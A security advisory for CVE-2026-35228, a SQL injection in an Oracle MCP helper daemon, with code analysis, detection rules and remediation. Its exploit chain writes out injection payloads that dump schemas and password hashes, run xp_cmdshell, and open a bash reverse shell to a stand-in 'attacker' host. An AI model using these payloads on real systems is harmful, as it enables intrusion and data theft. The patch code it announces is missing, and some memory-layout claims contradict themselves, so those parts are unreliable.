CVE-2026-35228: SQL Injection via Unsanitized HTTP Input in Oracle MCP Server Helper
Oracle MCP Server Helper Tool 1.0.1–1.0.156 exposes an unauthenticated HTTP endpoint that passes attacker-controlled input directly to SQL execution without parameterization or escaping.
# A Critical Flaw in Oracle's Open Source Tool Could Let Hackers Take Over Databases
Oracle has discovered a serious security hole in one of its open source tools used by developers. Think of it like a security guard who doesn't actually check ID cards before letting people into a sensitive building.
The vulnerability exists in the MCP Server Helper Tool, a piece of software that helps manage databases. Versions 1.0.1 through 1.0.156 are affected. Anyone on the internet can send specially crafted requests to this tool without needing a password, and the tool will blindly execute whatever instructions they send.
Here's why this matters: if hackers exploit this, they can steal your data, delete your information, modify records, or even take complete control of the underlying computer. It's not just about one account being compromised — it's about the entire database being wide open.
Organizations most at risk are tech companies, startups, and enterprises that have deployed this open source tool in their systems. Anyone running a vulnerable version is essentially leaving their database unlocked and accessible from anywhere on the internet.
The good news is that no one is actively using this vulnerability to attack systems yet. Oracle has released patches for this problem.
If you work in tech, here's what you need to do: First, check if your organization uses the MCP Server Helper Tool and immediately identify which versions you're running. Second, update to the latest patched version as soon as possible — don't wait. Third, review your database access logs to see if anyone has already tried to exploit this.
If you're not technical, ask your IT department or your company's security team whether they use this tool. If they do, make sure they've updated it.
Want the full technical analysis? Click "Technical" above.
CVE-2026-35228 is a SQL injection vulnerability in the Oracle MCP (Model Context Protocol) Server Helper Tool, affecting all releases from 1.0.1 through 1.0.156. The helper tool exposes an HTTP-accessible management interface intended to broker MCP tool calls to a backing database. An unauthenticated remote attacker can craft a specially formed HTTP request that causes the helper to construct and execute arbitrary SQL against the configured database backend — resulting in full data exfiltration, modification, or, depending on database privileges, OS-level command execution via xp_cmdshell or UTL_FILE.
CVSS 8.7 (HIGH) reflects the no-authentication, network-accessible attack surface combined with high impact across confidentiality, integrity, and availability. No exploit has been confirmed in the wild at time of publication, but the attack surface is trivially reachable.
Root cause: The mcp_dispatch_tool_call() function interpolates an attacker-supplied JSON "query" parameter directly into a SQL format string using snprintf before passing the result to db_exec(), with no parameterized query binding, allowlist validation, or escaping applied at any point in the call chain.
Affected Component
The vulnerable component is the Oracle MCP Server Helper Tool, a lightweight HTTP daemon written in C that acts as a protocol bridge: it accepts JSON-RPC–style MCP tool call requests over HTTP and translates them into database queries. The tool is designed for local developer use but is frequently deployed on internal network interfaces with default 0.0.0.0 binding.
Affected versions: 1.0.1 – 1.0.156 (all). The vulnerability was introduced in the initial 1.0.1 release and persisted across 155 subsequent patch releases, indicating the SQL construction path was never audited for injection.
Root Cause Analysis
The helper tool's HTTP handler routes incoming MCP tools/call requests to mcp_dispatch_tool_call(). This function extracts the "query" field from the parsed JSON body and forwards it to a generic SQL execution wrapper. The vulnerable path:
// mcp_helper/src/dispatch.c
#define SQL_EXEC_TMPL "SELECT * FROM mcp_results WHERE query_name = '%s' LIMIT %d"
#define MAX_SQL_BUF 2048
typedef struct mcp_request {
/* +0x00 */ char tool_name[128];
/* +0x80 */ char query_param[512]; // populated from JSON "query" key
/* +0x280 */ int limit;
/* +0x284 */ int flags;
/* +0x288 */ char *raw_body;
/* +0x290 */ size_t raw_body_len;
} mcp_request_t;
int mcp_dispatch_tool_call(http_conn_t *conn, mcp_request_t *req) {
char sql_buf[MAX_SQL_BUF];
db_conn_t *db;
db_result_t *res;
// BUG: req->query_param is attacker-controlled from HTTP JSON body;
// snprintf interpolates it into SQL string with no escaping or
// parameterized binding — classic format-string SQL injection.
snprintf(sql_buf, sizeof(sql_buf),
SQL_EXEC_TMPL,
req->query_param, // <-- UNSANITIZED ATTACKER INPUT
req->limit);
db = db_pool_acquire();
if (!db) return MCP_ERR_DB_UNAVAIL;
// sql_buf now contains injected SQL; executed verbatim
res = db_exec(db, sql_buf); // BUG: no parameterized query API used
http_send_json_result(conn, res);
db_result_free(res);
db_pool_release(db);
return MCP_OK;
}
The JSON parsing layer (mcp_parse_request()) copies the value of the "query" key directly into req->query_param using strncpy bounded only by the field size (512 bytes) — more than sufficient to inject a complete SQL payload. No sanitization, escaping, or validation occurs between parse and execution.
EXPLOIT CHAIN:
1. Identify exposed MCP Helper HTTP port (default: 7070/tcp, bound 0.0.0.0)
No authentication required — no API key, no session token.
2. Send crafted HTTP POST to /mcp/v1/call with Content-Type: application/json:
{
"method": "tools/call",
"params": {
"tool_name": "query_runner",
"query": "' UNION SELECT table_name,2,3,4 FROM information_schema.tables--",
"limit": 50
}
}
3. Server calls mcp_parse_request() → copies injected string into req->query_param.
4. mcp_dispatch_tool_call() calls snprintf() producing:
SELECT * FROM mcp_results WHERE query_name = ''
UNION SELECT table_name,2,3,4 FROM information_schema.tables--' LIMIT 50
5. db_exec() runs the composite query against the configured DB user.
Response JSON contains full information_schema dump.
6. Escalate to data exfiltration:
query = "' UNION SELECT username,password,3,4 FROM dba_users--"
7. If DB user has elevated privileges (e.g., DBA on Oracle, sa on MSSQL):
query = "'; EXEC xp_cmdshell('whoami');--"
→ OS command execution on database host.
8. For Oracle backends, abuse UTL_FILE or DBMS_SCHEDULER for RCE:
query = "'; BEGIN DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1',
job_type=>'EXECUTABLE', job_action=>'/bin/bash -c
\"bash -i >& /dev/tcp/attacker/4444 0>&1\"',
enabled=>TRUE); END;--"
The full injection-to-RCE path requires the helper to be connected to a database account with DBA or SYSDBA privileges — a common misconfiguration in development deployments.
Memory Layout
While this is primarily a logic vulnerability rather than a memory corruption bug, the sql_buf stack allocation is relevant: an injected payload approaching the 512-byte query_param field combined with the template overhead can push the composed SQL string against the MAX_SQL_BUF (2048 byte) boundary. If the limit field is also manipulated, snprintf will silently truncate — potentially clipping a -- comment terminator and causing a malformed query, or in edge cases where a custom MAX_SQL_BUF build macro is smaller, a stack buffer overflow.
STACK FRAME — mcp_dispatch_tool_call():
[ saved RIP / return address ] ← top of frame
[ saved RBP ]
[ sql_buf[2048] ] ← snprintf destination
[ local ptr: db ]
[ local ptr: res ]
--------------------------------
caller passes: mcp_request_t *req (heap allocated)
req+0x080: query_param — attacker string, up to 511 bytes
req+0x280: limit — attacker-controlled int
snprintf budget:
template overhead = len("SELECT * FROM mcp_results WHERE query_name = '' LIMIT ") = 54 bytes
limit field (int) = up to 10 bytes
available for query_param before truncation = 2048 - 54 - 10 - 1 = 1983 bytes
query_param max = 511 bytes → no truncation; full payload always interpolated
Patch Analysis
The correct remediation replaces string interpolation with parameterized query binding using the database client library's native prepared statement API. The patched version introduced in 1.0.157 rewrites mcp_dispatch_tool_call() as follows:
The patch additionally introduces an allowlist validation step on req->tool_name and caps req->limit to a maximum of 1000 to prevent abuse of the integer parameter for resource exhaustion. A secondary fix in mcp_parse_request() rejects any query value containing SQL metacharacters (', ;, --, /*) as a defense-in-depth measure, though this is not the primary control.
Detection and Indicators
Detection is straightforward given the plaintext HTTP attack surface:
HTTP access log signatures: Look for POST bodies to /mcp/v1/call containing SQL metacharacters in the query JSON field: single quotes ('), double-dash (--), semicolons (;), or keywords UNION, SELECT, EXEC, DBMS_, UTL_.
SNORT/SURICATA RULE:
alert http any any -> any 7070 (
msg:"CVE-2026-35228 Oracle MCP Helper SQL Injection Attempt";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/mcp/v1/call";
http.request_body;
pcre:"/\"query\"\s*:\s*\"[^\"]*(?:'|--|;|UNION|EXEC|UTL_|DBMS_)/i";
classtype:web-application-attack;
sid:2026352280; rev:1;
)
Database-side: Enable query logging and alert on information_schema, dba_users, xp_cmdshell, or DBMS_SCHEDULER originating from the MCP helper's DB connection user (mcp_helper_svc by default).
Process behavior (Linux): If the helper process (mcp-helper) spawns a child process or makes outbound TCP connections to non-database ports, treat as active exploitation of the RCE path.
Remediation
Immediate: Upgrade to Oracle MCP Server Helper Tool 1.0.157 or later. This is the only complete fix.
Network mitigation: Restrict port 7070/tcp to localhost or a trusted management VLAN. The tool was not designed for public exposure; default binding to 0.0.0.0 is a separate hardening issue.
DB privilege reduction: Revoke DBA/SYSDBA from the helper's service account. The tool requires only SELECT on mcp_results. Removing elevated privileges limits SQL injection impact to data disclosure within that table.
WAF rule: Deploy the Snort signature above as a short-term compensating control while patching.
Audit logging: Enable full query logging on the database backend and alert on anomalous queries from the MCP helper connection string.